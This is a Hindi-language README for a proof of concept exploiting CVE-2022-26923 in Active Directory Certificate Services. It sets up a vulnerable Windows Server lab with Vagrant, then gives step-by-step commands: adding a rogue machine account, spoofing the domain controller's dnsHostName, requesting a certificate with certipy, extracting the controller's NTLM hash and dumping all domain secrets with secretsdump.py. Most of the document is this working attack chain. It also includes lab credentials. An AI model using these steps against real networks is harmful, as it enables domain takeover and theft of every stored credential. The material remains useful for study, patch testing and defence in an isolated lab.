
CVE-2022-26923 का शोषण करने वाला एक प्रूफ ऑफ कॉन्सेप्ट।
यह भेद्यता एक निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता को Active Directory Certificate Services (AD CS) सर्वर भूमिका स्थापित डिफ़ॉल्ट Active Directory वातावरण में डोमेन व्यवस्थापक तक विशेषाधिकार बढ़ाने की अनुमति देती है।
यह मुख्य रूप से Active Directory Certificate Services (AD CS) भूमिका से संबंधित है। AD CS भूमिका एक Windows Server भूमिका है जो आपको अपने संगठन के लिए सार्वजनिक कुंजी अवसंरचना (PKI) बनाने तथा सार्वजनिक कुंजी क्रिप्टोग्राफी, डिजिटल प्रमाणपत्र और डिजिटल हस्ताक्षर क्षमताएँ प्रदान करने की अनुमति देती है। AD CS भूमिका का उपयोग उपयोगकर्ताओं, कंप्यूटरों और सेवाओं के लिए प्रमाणपत्र जारी करने के लिए किया जाता है।
उपयोग किया गया Windows Server संस्करण Windows Server 2019 Standard Evaluation है, जो भेद्य संस्करण है। प्रदान की गई Vagrantfile (Vulnerable Machine फ़ोल्डर में) एक Windows Server 2019 VM बनाएगी जिसमें AD CS भूमिका स्थापित और कॉन्फ़िगर की गई है, साथ ही निम्नलिखित क्रेडेंशियल वाला एक निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता भी:
userV@grant1पर्यावरण बनाने के लिए, इन चरणों का पालन करें:
CVE-2022-26923 निर्देशिका में जाएँ:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile में निम्न पंक्ति में IP पते को प्रतिस्थापित करके ऐसा कर सकते हैं:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy स्थापित लिनक्स मशीन नहीं है, तो आप निम्न कमांड चलाकर Attacker Machine निर्देशिका में प्रदान की गई vagrant मशीन का उपयोग कर सकते हैं:
cd 'Attacker Machine'
vagrant up
Attacker Machine फ़ोल्डर में एक vagrant मशीन के साथ एक शेल स्क्रिप्ट शामिल है जो certipy का नवीनतम संस्करण स्थापित करेगी। आप स्क्रिप्ट का उपयोग अपनी लिनक्स मशीन पर certipy स्थापित करने के लिए भी कर सकते हैं।
हमलावर मशीन से कनेक्ट करने के लिए, Attacker Machine निर्देशिका से निम्न कमांड चलाएँ:
vagrant ssh
अब जब आप हमलावर मशीन में हैं, तो आपको Windows Server का IP पता hosts फ़ाइल में जोड़ना होगा:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
नोट: यदि आपने भेद्य मशीन की Vagrantfile में IP पता बदला है, तो आपको इसे यहाँ भी बदलना होगा।
फिर, डोमेन में एक नया कंप्यूटर खाता बनाते हैं:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
यह सत्यापित करने के लिए कि कंप्यूटर खाता बन गया है, Vulnerable Machine निर्देशिका से निम्न कमांड चलाकर user और पासवर्ड V@grant1 के साथ भेद्य मशीन से कनेक्ट करें:
vagrant ssh
फिर, यह सत्यापित करने के लिए कि कंप्यूटर खाता बन गया है, निम्न कमांड चलाएँ:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
इस मशीन खाते का dnsHostName CVEPC.vagrant.local है। हम इस dnsHostName को VAGRANT-K51B6U3.vagrant.local में बदलना चाहते हैं, जो डोमेन कंट्रोलर है।
ऐसा करने के लिए, हमें पहले निम्न कमांड चलाकर कंप्यूटर खाते CVEPC से Service Principal Name (SPN) हटाना होगा:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
फिर हम निम्न कमांड चलाकर dnsHostName को VAGRANT-K51B6U3.vagrant.local में बदल सकते हैं:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
अब जब हमारे पास dnsHostName VAGRANT-K51B6U3.vagrant.local वाला कंप्यूटर खाता है, तो हम हमलावर मशीन पर निम्न कमांड चलाकर भेद्य मशीन से एक दुर्भावनापूर्ण प्रमाणपत्र का अनुरोध कर सकते हैं:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
आपको वर्तमान निर्देशिका में vagrant-k51b6u3.pfx नामक एक प्रमाणपत्र मिलना चाहिए।
यह जाँचने के लिए कि प्रमाणपत्र मान्य है, आप निम्न कमांड चलाकर certipy के auth टूल का उपयोग करें:
certipy auth -pfx vagrant-k51b6u3.pfx
यदि प्रमाणपत्र मान्य है, तो आपको डोमेन कंट्रोलर का NTLM हैश मिलना चाहिए। जिसका उपयोग कई दुर्भावनापूर्ण तरीकों से किया जा सकता है।
अवधारणा के प्रमाण के रूप में, हम डोमेन में संग्रहीत सभी रहस्यों को पुनः प्राप्त करने के लिए NTLM हैश का उपयोग कर सकते हैं (जैसा कि CVE के लेखक के लेख में समझाया गया है)। ऐसा करने के लिए, हम impacket सूट से secretsdump.py टूल का उपयोग कर सकते हैं (जो certipy के नवीनतम संस्करण के साथ स्थापित होता है)।
टूल का उपयोग करने के लिए, निम्न कमांड चलाएँ:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
<NTLM hash> को पिछले चरण से प्राप्त NTLM हैश से बदलें।
परिणामस्वरूप, आपको डोमेन में संग्रहीत सभी रहस्य मिल जाने चाहिए।